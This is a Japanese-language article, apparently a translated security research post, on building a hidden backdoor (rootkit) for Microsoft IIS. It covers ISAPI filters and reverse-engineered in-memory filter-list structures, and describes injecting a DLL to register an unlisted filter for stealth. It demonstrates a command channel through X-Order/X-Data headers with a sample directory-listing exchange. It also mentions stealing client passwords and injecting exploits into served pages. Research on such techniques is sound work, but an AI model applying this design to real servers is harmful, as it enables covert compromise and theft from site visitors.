この記事では、Microsoft インターネット インフォメーション サービス (IIS) 向けルートキットをどのように設計したかを説明します。疑問は、なぜ Web サーバーにバックドアを仕込むのかということです。
まずは明白だが役に立たない答え: できるからだ。
では、もう少し賢い答えをしましょう。Web サーバーにバックドアを仕込む目的は 2 つあります。
攻撃者がクライアントから送信されたデータにアクセスできるようになります。たとえば、Web サイトがパスワードで保護されている場合、このパスワードを取得できます。
サーバーから Web クライアントに送信されるあらゆるものを、その場でバックドア化できるようになります。
この 2 つ目のポイントは特に興味深いものです。攻撃者は、Web ページを要求している Web ブラウザに応じて適切なエクスプロイトを注入したり、サーバーからダウンロードされた実行ファイルに感染させたりできるからです。
IIS バックドア
IIS はマイクロソフトの Web サーバーであり、OWA などの Microsoft の Web ベース技術の重要な構成要素です。最初のバージョン (Windows NT 3.51 上の IIS 1.0) から最新バージョン (Windows Server 2008 上の IIS 7.5) まで、多くのバージョンがリリースされています。IIS はインターネットや企業のイントラネットで広く利用されています。
IIS の拡張
マイクロソフトは、開発者が IIS に機能を追加できるように、ISAPI (Internet Server Application Programming Interface) として知られる API を定義しています。IIS に追加できるコンポーネントには、拡張機能 (extension) とフィルター (filter) の 2 種類があります。
ISAPI 拡張機能
拡張機能は、3 つの関数をエクスポートする DLL です。
GetExtensionVersion
HttpExtensionProc
TerminateExtension
拡張機能は IIS 内で実行されるアプリケーションです。IIS が必要とするたびに読み込まれます。拡張機能はリクエストの内容にアクセスし、クライアントへの応答を担当します。たとえば、クライアントが http ://mydomain/myextension というページ (myextension は登録済みの拡張機能) を要求すると、拡張機能の HttpExtensionProc が呼び出されます。IIS には次の構造体が渡されます:
typedef struct _EXTENSION_CONTROL_BLOCK EXTENSION_CONTROL_BLOCK {
DWORD cbSize;
DWORD dwVersion;
HCONN connID;
DWORD dwHttpStatusCode;
char lpszLogData[HSE_LOG_BUFFER_LEN];
LPSTR lpszMethod;
LPSTR lpszQueryString;
LPSTR lpszPathInfo;
LPSTR lpszPathTranslated;
DWORD cbTotalBytes;
DWORD cbAvailable;
LPBYTE lpbData;
LPSTR lpszContentType;
BOOL (WINAPI * GetServerVariable) ();
BOOL (WINAPI * WriteClient) ();
BOOL (WINAPI * ReadClient) ();
BOOL (WINAPI * ServerSupportFunction) ();
} EXTENSION_CONTROL_BLOCK;
これにより HttpExtensionProc は、ReadClient と WriteClient のコールバック関数を使って、リクエストからデータを読み取り、処理し、応答を返すことができます。
ISAPI フィルター
フィルターは、3 つの関数をエクスポートする DLL です。
GetFilterVersion
HttpFilterProc
TerminateFilter
フィルターは複数のイベントに登録され、リクエストのライフサイクル中にイベントが発生するたびに HttpFilterProc が呼び出されます。以下は、フィルターが登録できるイベントの不完全なリストです:
SF_NOTIFY_PREPROC_HEADERS: IIS がヘッダーの前処理を完了したときに発生します。
SF_NOTIFY_SEND_RESPONSE: IIS がクライアントに応答を送信する準備ができたときに発生します
SF_NOTIFY_END_OF_REQUEST: リクエストのライフサイクルが終了したときに発生します
SF_NOTIFY_LOG: IIS が現在のリクエストのログを書き込む前に発生します
フィルターが登録されたイベントが発生すると、イベントの種類に応じた構造体が渡されて、フィルターの HttpFilterProc が呼び出されます。たとえば、SF_NOTIFY_END_OF_REQUEST イベントの場合、IIS からフィルターに次の構造体が渡されます:
typedef struct _HTTP_FILTER_LOG HTTP_FILTER_LOG {
const char * pszClientHostName;
const char * pszClientUserName;
const char * pszServerName;
const char * pszOperation;
const char * pszTarget;
const char * pszParameters;
DWORD dwHttpStatus;
DWORD dwWin32Status;
DWORD dwBytesSent;
DWORD dwBytesRecvd;
DWORD msTimeForProcessing;
} HTTP_FILTER_LOG, * PHTTP_FILTER_LOG;
この構造体には、フィルターが受信リクエストをログに記録するために必要なすべての情報が含まれています。
拡張機能とフィルターの概要
次の図は、クライアントのリクエストがフィルターと拡張機能にどのように到達するかの一般的な概要です:
Schemaextfilts.png
隠しフィルター
IIS バックドアを実装するにあたり、拡張機能メカニズムではなく IIS フィルターのメカニズムを使うことにしました。主にステルス性の理由からです。実際、拡張機能に到達するには、クライアントは http ://mydomain/myextension のような URL にリクエストを送信する必要があります。すると拡張機能がサーバーログに現れます。フィルターを使えば、サーバー上の任意の有効なページを呼び出すことで到達できるため、はるかに通常の動作に見えます。
IIS の設定パネル (IIS 設定ファイル内) からフィルターを登録することも可能ですが、これは決してステルス的ではありません。そこで、IIS フィルターのリンクリスト内に手動でフィルターを追加することにしました。そのために、IIS プロセスに DLL を注入し、DLL が IIS プロセスのヒープを解析して、IIS フィルターリストに自身を手動で登録します。
IIS フィルターリストをメモリ上で維持するために、2 種類の構造体が使われます。1 つ目は次のとおりです:
typedef struct FILTER_LIST {
unsigned int Magic; "FLIS"
unsigned int unknown;
unsigned int NumberOfFilters;
PHTTP_FILTER_DLL * FilterPointerArray;
unsigned int unknown2[10];
unsigned int Flags1Sum;
unsigned int * Flags1;
unsigned int unknown3[10];
unsigned int Flags2Sum;
unsigned int * Flags2;
} FILTER_LIST , *PFILTER_LIST;
この構造体には次のメンバーがあります:
Magic : 値 "FLIS" を持つマジック DWORD。
NumberOfFilters : フィルターの数。
FilterPointerArray : フィルターの配列。
Flags1Sum : すべてのフィルターが登録されているイベントの (OR 論理演算子による) 合計。
Flags1 : 各フィルターが登録されているフラグの配列。
各フィルターには独自の HTTP_FILTER_DLL 構造体があり、次のようになっています:
struct _HTTP_FILTER_DLL{
unsigned int Magic ; "FDLL"
PHTTP_FILTER_DLL pPrevious;
PHTTP_FILTER_DLL pNext;
void * ModuleBaseAddress;
void * HttpFilterProc;
void * GetFilterVersion;
void * TerminateFilter;
unsigned int unknown1;
unsigned int AcceptFlags1;
unsigned int AcceptFlags2;
unsigned int unknown2;
char * DllPath;
unsigned intunknown3;
unsigned intunknown4;
char String[DLL_PATH_SIZE];
unsigned int unknown5;
} HTTP_FILTER_DLL, *PHTTP_FILTER_DLL;
Magic : 値 "FDLL" を持つマジック DWORD。
pPrevious, pNext : リスト内の前後の HTTP_FILTER_DLL 構造体へのポインター。
ModuleBaseAddress : フィルター DLL のベースアドレス。
HttpFilterProc : フィルターの HttpFilterProc 関数のアドレス。
AcceptFlags1 : フィルターが登録されているイベントの (OR 論理演算子による) 合計。
次の図は、IIS フィルターがメモリ上でどのように構成されているかを示しています:
SchemaListNoHidFilt.png
このメモリ構成が分かれば、メモリ内に新しい隠しフィルターを追加するのは簡単です。そのためには、ヒープ内の FILTER_LIST のインスタンスを見つける必要があります。見つけたら、HTTP_FILTER_DLL リストに新しい HTTP_FILTER_DLL 構造体を追加し、FILTER_LIST 構造体のフィルター配列にその参照を追加するだけです:
SchemaListHidFilt.png
バックドアの実装
バックドアは非常に単純な原理で動作します。クライアントは命令を含む特別なヘッダーを付けたリクエストを送信し、フィルターは送信応答にデータを追加することで応答します。フィルターは SF_NOTIFY_PREPROC_HEADERS イベントと SF_NOTIFY_SEND_RAW_DATA イベントに登録されています。受信リクエストが到着すると、フィルターはリクエスト内に X-ORDER ヘッダーや X-DATA ヘッダーが存在するかどうかを確認し、存在して命令が既知であれば、それを実行して応答します。フィルターはサーバーの任意のページに対して通知されるため、サーバー上の任意のページにリクエストを送信してフィルターと通信できます。通常のリクエストに特別なヘッダーを追加するだけでよいのです。
ヘッダーを追加せずに単純なページ (ここでは /pwet.htm) を要求した場合、IIS は通常の動作をします。つまり、IIS の応答は次のようになります:
GET /pwet.htm HTTP/1.1
Host: 192.168.73.143
Accept-Encoding: identity
Connection: Keep-Alive
Content-type: application/x-www-form-urlencoded
Accept: */*
HTTP/1.1 200 OK
Date: Thu, 03 Feb 2011 12:16:50 GMT
Content-Length: 31
Content-Type: text/html
Last-Modified: Mon, 21 Jun 2010 11:53:19 GMT
Accept-Ranges: bytes
ETag: "963779573811cb1:994"
Server: Microsoft-IIS/6.0
<html>
Pouetpouet
</html>
しかし、同じページを要求して命令を追加すると (ここでは命令は base64("C:") の "ListDir")、結果は次のようになります:
GET /pwet.htm HTTP/1.1
Host: 192.168.73.143
Accept-Encoding: identity
X-Order: ListDir
Connection: Keep-Alive
X-Data: Qzpc
Content-type: application/x-www-form-urlencoded
Accept: */*
HTTP/1.1 200 OK
Date: Thu, 03 Feb 2011 12:16:57 GMT
Content-Length: 353
X-Resp: OK
Content-Type: text/html
Last-Modified: Mon, 21 Jun 2010 11:53:19 GMT
Accept-Ranges: bytes
ETag: "963779573811cb1:994"
Server: Microsoft-IIS/6.0
<html>
Pouetpouet
</html>
[F] C:\AUTOEXEC.BAT
[F] C:\boot.ini
[F] C:\bootfont.bin
[F] C:\CONFIG.SYS
[D] C:\Documents and Settings
[D] C:\Inetpub
[F] C:\IO.SYS
[F] C:\MSDOS.SYS
[F] C:\NTDETECT.COM
[F] C:\ntldr
[F] C:\pagefile.sys
[D] C:\Program Files
[D] C:\System Volume Information
[D] C:\WINDOWS
[D] C:\wmpub
このように、IIS Web サーバーへのバックドア化はそれほど難しいものではなく、多くの機会をもたらしてくれます...